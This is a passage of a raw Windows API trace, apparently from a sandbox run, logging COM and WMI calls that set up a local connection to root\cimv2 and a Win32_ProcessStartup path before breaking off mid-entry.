[0122.229] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b4d1ec0) returned 0x0 [0122.229] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d1ec0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0122.229] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d1ec0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x1b4af8e0) returned 0x0 [0122.229] WbemDefPath:IUnknown:Release (This=0x1b4d1ec0) returned 0x0 [0122.229] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af8e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x1b4af8e0) returned 0x0 [0122.229] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af8e0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0122.229] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af8e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0122.229] WbemDefPath:IUnknown:AddRef (This=0x1b4af8e0) returned 0x3 [0122.229] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af8e0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0122.229] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af8e0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0122.229] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af8e0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b4d2540) returned 0x0 [0122.230] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2540, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0122.230] WbemDefPath:IUnknown:Release (This=0x1b4d2540) returned 0x3 [0122.230] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0122.230] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0122.230] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af8e0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0122.230] WbemDefPath:IUnknown:Release (This=0x1b4af8e0) returned 0x2 [0122.230] WbemDefPath:IUnknown:Release (This=0x1b4af8e0) returned 0x1 [0122.230] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0122.230] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0122.230] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af8e0, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x1b4af8e0) returned 0x0 [0122.230] WbemDefPath:IUnknown:AddRef (This=0x1b4af8e0) returned 0x3 [0122.230] WbemDefPath:IUnknown:Release (This=0x1b4af8e0) returned 0x2 [0122.230] WbemDefPath:IWbemPath:SetText (This=0x1b4af8e0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0122.230] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af8e0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0122.230] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af8e0, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0x15, pszText=0x0) returned 0x0 [0122.230] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af8e0, lFlags=2, puBuffLength=0x1b30d690*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d690*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0122.230] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4af8e0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0122.230] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af8e0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0122.230] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4af8e0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0122.231] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af8e0, puCount=0x1b30d5f8 | out: puCount=0x1b30d5f8*=0x0) returned 0x0 [0122.231] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d5b8 | out: puCount=0x1b30d5b8*=0x2) returned 0x0 [0122.231] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5b0*=0xf, pszText=0x0) returned 0x0 [0122.231] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d5b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0122.231] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0122.231] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0122.231] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0122.231] IUnknown:Release (This=0x6124e8) returned 0x1 [0122.232] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8f8 | out: ppv=0x1b30c8f8*=0x1b4d25a0) returned 0x0 [0122.232] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d25a0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9e0 | out: ppvObject=0x1b30c9e0*=0x0) returned 0x80004002 [0122.232] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d25a0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9b8 | out: ppvObject=0x1b30c9b8*=0x1b4b04e0) returned 0x0 [0122.232] WbemDefPath:IUnknown:Release (This=0x1b4d25a0) returned 0x0 [0122.232] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b04e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x1b4b04e0) returned 0x0 [0122.232] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b04e0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7f0 | out: ppvObject=0x1b30c7f0*=0x0) returned 0x80004002 [0122.232] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b04e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0122.232] WbemDefPath:IUnknown:AddRef (This=0x1b4b04e0) returned 0x3 [0122.232] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b04e0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bea8 | out: ppvObject=0x1b30bea8*=0x0) returned 0x80004002 [0122.232] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b04e0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be30 | out: ppvObject=0x1b30be30*=0x0) returned 0x80004002 [0122.232] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b04e0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be20 | out: ppvObject=0x1b30be20*=0x1b4d2080) returned 0x0 [0122.233] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2080, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be48 | out: pCid=0x1b30be48*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0122.233] WbemDefPath:IUnknown:Release (This=0x1b4d2080) returned 0x3 [0122.233] CoGetContextToken (in: pToken=0x1b30bed0 | out: pToken=0x1b30bed0) returned 0x0 [0122.233] CoGetContextToken (in: pToken=0x1b30c350 | out: pToken=0x1b30c350) returned 0x0 [0122.233] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b04e0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c410 | out: ppvObject=0x1b30c410*=0x0) returned 0x80004002 [0122.233] WbemDefPath:IUnknown:Release (This=0x1b4b04e0) returned 0x2 [0122.233] WbemDefPath:IUnknown:Release (This=0x1b4b04e0) returned 0x1 [0122.233] CoGetContextToken (in: pToken=0x1b30d140 | out: pToken=0x1b30d140) returned 0x0 [0122.233] CoGetContextToken (in: pToken=0x1b30d040 | out: pToken=0x1b30d040) returned 0x0 [0122.233] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b04e0, riid=0x1b30d1a0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d170 | out: ppvObject=0x1b30d170*=0x1b4b04e0) returned 0x0 [0122.233] WbemDefPath:IUnknown:AddRef (This=0x1b4b04e0) returned 0x3 [0122.233] WbemDefPath:IUnknown:Release (This=0x1b4b04e0) returned 0x2 [0122.233] WbemDefPath:IWbemPath:SetText (This=0x1b4b04e0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0122.233] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b04e0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0122.233] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b04e0, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0122.233] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b04e0, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0122.233] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d598 | out: ppv=0x1b30d598*=0x6124e8) returned 0x0 [0122.233] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d588 | out: pAptType=0x1b30d588*=1) returned 0x0 [0122.233] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d590 | out: ppvObject=0x1b30d590*=0x0) returned 0x80004002 [0122.233] IUnknown:Release (This=0x6124e8) returned 0x1 [0122.234] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cc58 | out: ppv=0x1b30cc58*=0x1b4d2600) returned 0x0 [0122.234] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2600, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cd40 | out: ppvObject=0x1b30cd40*=0x0) returned 0x80004002 [0122.234] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b4d2600, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cd18 | out: ppvObject=0x1b30cd18*=0x1b4d25c0) returned 0x0 [0122.234] WbemLocator:IUnknown:Release (This=0x1b4d2600) returned 0x0 [0122.234] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d25c0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x1b4d25c0) returned 0x0 [0122.234] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d25c0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb50 | out: ppvObject=0x1b30cb50*=0x0) returned 0x80004002 [0122.234] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d25c0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c348 | out: ppvObject=0x1b30c348*=0x0) returned 0x80004002 [0122.234] WbemLocator:IUnknown:AddRef (This=0x1b4d25c0) returned 0x3 [0122.234] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d25c0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c208 | out: ppvObject=0x1b30c208*=0x0) returned 0x80004002 [0122.235] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d25c0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c190 | out: ppvObject=0x1b30c190*=0x0) returned 0x80004002 [0122.235] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d25c0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c180 | out: ppvObject=0x1b30c180*=0x0) returned 0x80004002 [0122.235] CoGetContextToken (in: pToken=0x1b30c230 | out: pToken=0x1b30c230) returned 0x0 [0122.235] CoGetContextToken (in: pToken=0x1b30c6b0 | out: pToken=0x1b30c6b0) returned 0x0 [0122.235] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d25c0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c770 | out: ppvObject=0x1b30c770*=0x0) returned 0x80004002 [0122.235] WbemLocator:IUnknown:Release (This=0x1b4d25c0) returned 0x2 [0122.235] WbemLocator:IUnknown:Release (This=0x1b4d25c0) returned 0x1 [0122.235] CoGetContextToken (in: pToken=0x1b30d0f0 | out: pToken=0x1b30d0f0) returned 0x0 [0122.235] CoGetContextToken (in: pToken=0x1b30cff0 | out: pToken=0x1b30cff0) returned 0x0 [0122.235] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d25c0, riid=0x1b30d150*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d120 | out: ppvObject=0x1b30d120*=0x1b4d25c0) returned 0x0 [0122.235] WbemLocator:IUnknown:AddRef (This=0x1b4d25c0) returned 0x3 [0122.235] WbemLocator:IUnknown:Release (This=0x1b4d25c0) returned 0x2 [0122.235] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b04e0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0122.235] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b04e0, lFlags=8, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0122.235] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b04e0, lFlags=8, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0122.235] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d190 | out: ppv=0x1b30d190*=0x1b4d2500) returned 0x0 [0122.235] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b4d2500, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d3d8 | out: ppNamespace=0x1b30d3d8*=0x1b4cf6d0) returned 0x0 [0122.702] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4cf6d0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30d008 | out: ppvObject=0x1b30d008*=0x1b510690) returned 0x0 [0122.703] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b510690, pProxy=0x1b4cf6d0, pAuthnSvc=0x1b30d0d0, pAuthzSvc=0x1b30d050, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054, pImpLevel=0x1b30d060, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064 | out: pAuthnSvc=0x1b30d0d0*=0xa, pAuthzSvc=0x1b30d050*=0x0, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054*=0x6, pImpLevel=0x1b30d060*=0x2, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064*=0x1) returned 0x0 [0122.703] WbemLocator:IUnknown:Release (This=0x1b510690) returned 0x1 [0122.703] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4cf6d0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfa0 | out: ppvObject=0x1b30cfa0*=0x1b5106d8) returned 0x0 [0122.703] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4cf6d0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfb0 | out: ppvObject=0x1b30cfb0*=0x1b510690) returned 0x0 [0122.703] WbemLocator:IClientSecurity:SetBlanket (This=0x1b510690, pProxy=0x1b4cf6d0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0122.703] WbemLocator:IUnknown:Release (This=0x1b510690) returned 0x2 [0122.703] WbemLocator:IUnknown:Release (This=0x1b5106d8) returned 0x1 [0122.703] CoTaskMemFree (pv=0x1b461fa0) [0122.703] WbemLocator:IUnknown:Release (This=0x1b4d2500) returned 0x0 [0122.703] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4cf6d0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x1b5106d8) returned 0x0 [0122.704] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5106d8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb30 | out: ppvObject=0x1b30cb30*=0x0) returned 0x80004002 [0122.708] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5106d8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x0) returned 0x80004002 [0122.722] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4cf6d0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c328 | out: ppvObject=0x1b30c328*=0x0) returned 0x80004002 [0122.724] WbemLocator:IUnknown:AddRef (This=0x1b5106d8) returned 0x3 [0122.724] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5106d8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c1e8 | out: ppvObject=0x1b30c1e8*=0x0) returned 0x80004002 [0122.724] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5106d8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, 